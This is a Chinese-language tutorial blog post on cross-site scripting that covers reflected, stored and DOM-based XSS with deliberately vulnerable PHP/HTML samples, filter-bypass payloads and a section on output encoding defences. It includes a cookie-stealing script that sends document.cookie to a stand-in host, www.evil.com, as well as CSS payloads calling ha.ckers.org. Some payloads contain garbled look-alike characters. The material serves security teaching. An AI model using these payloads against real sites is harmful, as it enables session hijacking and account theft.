XSS漏洞分析和防御

XSS:跨站脚本攻击(Cross Site Script)

形成原因是:未对用户输入的数据做好过滤,导致HTML页面被注入恶意脚本,从而在用户浏览网页时,被攻击者控制用户浏览器(反射一些用户信息如cookie等给攻击者)。

通常利用方法:XSS漏洞一般是通过php的输出函数将javascript的代码(恶意代码)输出到HTML页面,所以XSS漏洞关键是寻找参数未做过滤的输出函数。

php的常用输出:

echo
print()
print_r()
printf()
sprintf()
var_dump() 打印变量的内容和结构、类型信息
var_export()
die

反射型

反射型XSS只是简单的把用户输入的数据反射给浏览器,通常需要用户操作触发。(非持久型)
常见场景:用户名输入、id等
举例:

<!DOCTYPE HTML>
<html>
<head>
<meta charset=utf-8>
<title>反射型XSS</title>
</head>
<body>
<form method="GET">
<td>用户名:</td>
<input type="text" name="user" />
<input type=submit name=submit value=开始 />
<?php>
$input=$_GET["user"];
echo "<div>".$input."</div>";
?>
</body>
</html>

在这里插入图片描述
将用户输入数据直接输出在html中,没有做过滤。
构造payload:

<script>alert(/xss/)</script>

在这里插入图片描述
在这里插入图片描述
被写入javascript代码,xss成功利用。

存储型

存储型XSS把用户输入的数据存储在服务端(持久型、稳定且可跨域)
常见场景:博客发表、留言板等。
举例:
靶场pikachu

<p class="xsss_title">我是一个留言板:</p>
<form method="post">
<textarea class="xsss_in" name="message"></textarea><br />
<input class="xsss_submit" type="submit" name="submit" value="submit" />
</form>

if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>数据库出现异常,提交失败!</p>";
    }
}

在这里插入图片描述
构造payload

<script>alert(document.cookie)</script>

没有对数据进行检验过滤,服务端数据库被写入恶意代码。
在这里插入图片描述
每次写留言都会弹窗,xss利用成功。

DOM

DOM Base 通过修改页面的DOM的节点形成XSS。
举例说明
页面代码为:

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<script>
function test(){
	var str=document.getElementById("text").value;
	document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";
} //通过获取id为text的值即用户的输入,把用户的数据当作html写入id为t的标签中
</script>
</head>
<body>
echo 'hello'
<div id='t'></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()"/>
</body>
</html>

正常页面:
在这里插入图片描述
这里script函数的作用是:通过获取id为text的值即用户的输入,把用户的数据当作html写入id为t的标签中生成链接testlink。没有对用户数据进行过滤,导致存在DOM xss。
构造payload:

'οnclick=alert(/xss/)// 前面的单引号闭合href前面的单引号,//注释后面的单引号。

在这里插入图片描述
执行后,成功在html中插入代码
在这里插入图片描述
点击链接成功利用xss
在这里插入图片描述

xss payload

1、Cookie劫持
cookie中一般保存了当前用户的登录凭证,如果攻击者能够获取用户的cookie则可以不用密码直接登录进用户账号。
示例代码:
用户访问链接

http://www.a.com/test/html?a="><script> src=http://www.evil.com/evil.js></script>

=后面是可控点,为了在url中减少写入代码,将代码放置evil.js中
evil.js代码

var img=document.createElement('img');
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

防御:在Set-Cookie时给关键的cookie植入httponly标识;将cookie和客户端ip绑定

2、构造GET和POST请求
通过DOM构造GET和POST请求
通过XMLHttpRequest构造

3、XSS钓鱼

4、识别用户浏览器

<script>alert(navigator.userAgent);</script>

在这里插入图片描述

5、识别用户安装的软件

var obj= new ActiveXObject('XunLeiBHO.ThunderIEHelper');

检测迅雷的一个控件(XunLeiBHO.ThunderIEHelper)是否存在

6、CSS History Link
用户访问和未访问链接的颜色不同,通过css style属性payload获得用户访问记录

7、获取用户的真实ip
XSS攻击一般通过借助第三方软件来完成。比如JAVA环境(通过jiava applet接口获取本地ip,创建套接字)

XSS 攻击工具

1、Attack API
2、BeEF
后面补充说明该平台的使用
3、XSS-Proxy

Javascript 调试工具

1、Friebug
后面补充介绍高工具
2、IE 8 Developer Tools
3、Fiddle
4、Http Watch

XSS payload绕过

1、转义双引号

var = "\";alert(/xss/);";

第二个双引号被转义,变量无法逃逸双引号,闭合不了内置的双引号,写入失败!
字符编码绕过
一些返回页面时GBK/GB2312编码(百度),因此%c1</font>这两个字符组合在一起后会成为一个Unicode字符。
payload:

%c1";alert(/xss/);//

%c1把 转义符号\吃掉了,从而闭合前面的双引号,实现绕过。

2、长度限制
长度被限制,被截断

<script>alert(/xss/);</script>

利用事件绕过(Event)
"οnclick=alert(/xss/)//
"οnclick="eval(location.hash.substr(1))
#alert(1)

"οnfοcus=alert(/xss/)//
"οnmοuseοver=(/xss/)//

注释符绕过
”><!- -
– ><script>alert(/xss/)</script>

3、<base>标签

<base href = "attack.com">
<img src="/test.png"/>

攻击写入base标签后可以控制页面的所有使用相对路径的标签

4、Windows.name

<script>
windows.name="alert(document.cookie)";
location.href="http://"
</script>

同一窗口打开XSS站点后执行:
eval(name);

5、Flash XSS
6、Javascript开发框架
7、trace绕过httponly
Apache支持的一个Header是TRACE。TRACE一般用于调试,会将请求头作为HTTP Response Body返回

<script>
function sendTrace(){
	var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
	xmlHttp.open("TRACE","http://foo.bar",false);
	xmlHttp.send();
	xmlDoc=xmlHttp.responseText();
	alert(xmlDoc);
}
<input type=button onclick="sendTrace();" value="send trace request">
</script>

XSS 防御

1、HttpOnly
浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
HttpOnly解决的时XSS后的cookie劫持攻击。

<?php>
header("Set-Cookie: cookie=test;httponly",false)

2、对用户输入数据检查
将特殊字符如<、>、’、“等,进行过滤或者编码。
3、对数据输出检查
1、安全编码函数
HtmlEncode 将特殊字符编码成实体字符

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
/ --> &#x2F;

PHP中有 htmlentities()、htmlspecialchars()函数可以满足安全要求
JavaScript中JavaScriptEncode与HtmlEncode编码方式不同,它需要使用”\“对特殊字符进行转义
所以输出变量需要在引号内部

var y = '"'+escapeJavascript($evil)+'"';

3、插入点
1、在HTML标签中输出

<div>$var</div>
<a href=# >$var</a>

payload
<div><script>alert(/xss/)</script></div>
<a href=# ><img src=# onerror=alert(/xss/) /></a>

防御:对变量使用HtmlEncode

2、在HTML属性中输出

<div id="abc" name="$var" ></div>
payload
<div id="abc" name=""><script>alert(/xss/)<script><"" ></div>
"><script>alert(/xss/)<script><"

防御:对变量使用HtmlEncode
3、在script标签中输出

<script>
var x= "$var";
</script>
payload
<script>
var x= "";alert(/xss/);//";
";alert(/xss/);//
</script>

防御:使用JavascriptEncode

4、在事件中输出

<a href=# onclick="funca('$var')">test</a>
payload
<a href=# onclick="funca('');alert(/xss/);//')">test</a>
');alert(/xss/);//

防御:使用JavascriptEncode

5、在CSS中输出

<style>@import'http://ha.ckers.org/xss.css';</style>
<stylr>body{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</style>
<xss style="behavior:url(xss.htc);">
<style>li {list-style-image:url("javascript:alert(/xss/)");}</style><ul><li>xss
<div style="background-image: url(javascript:alert(/xss/))">
<div style="width: expression(alert(/xss/));">

防御:QWASP ESAPI中的encodeForCSS函数 除字母和数字外的所有字符都被编码成十六进制形式”\uHH“

6、地址栏中输出
部分路径可控

<a href="http://www.evil.com/?test=$var">test</a>
payload
<a href="http://www.evil.com/?test="οnclick=alert(/xss/)"">test</a>
"οnclick=alert(/xss/)"

防御:URLEncode
全部路径可控:

<a href="$var">test</a>
payload
<a href="javascript:alert(1);">test</a>
javascript:alert(1);

利用伪协议javascript:(dataURL:、vbscript:等)
防御:URL以http://开头,然后再URLEncode

DOM Base XSS 防御

形成原因:

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<script>
function test(){
	var str=document.getElementById("text").value;
	document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";
} //通过获取id为text的值即用户的输入,把用户的数据当作html写入id为t的标签中
</script>
</head>
<body>
echo 'hello'
<div id='t'></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()"/>
</body>
</html>

关键:

document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";

将HTML代码写入DOM节点,最后导致了XSS的发生
DOM Base XSS 是从JavaScript中输出数据到HTML页面,
上文都是针对从服务器应用直接输出到HTML页面,不适合DOM

防御:
首先再$var输出到script标签中时,进行一次javascriptEncode;
其次再document.write输出到HTML页面时,
如果输出到事件或脚本,则在进行一次JavaScriptEncode;
如果输出到HTML内容或属性,则进行一次HtmlEncode。

会触发DOM Base XSS的地方:
javascript输出到HTML页面的必经之路:

document.write()
document.writeln()
xxx.innerHTML=
xxx.outHTML=
innerHTML.replace
document.attachEvent()
windows.attachEvent()
document.location.replace()
document.location.assign()

页面中的所有的inputs
windows.location(href、hash)
windows.name
document.referer
document.cookie
localstorage
XMLHttpRequest 返回数据

总结

反射型XSS一般需要诱使用户点击包含XSS代码的URL;存储型XSS,打开正常的URL执行XSS代码,相比来说更隐蔽和稳定;存储型比反射型危害更大。

未完待续…

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值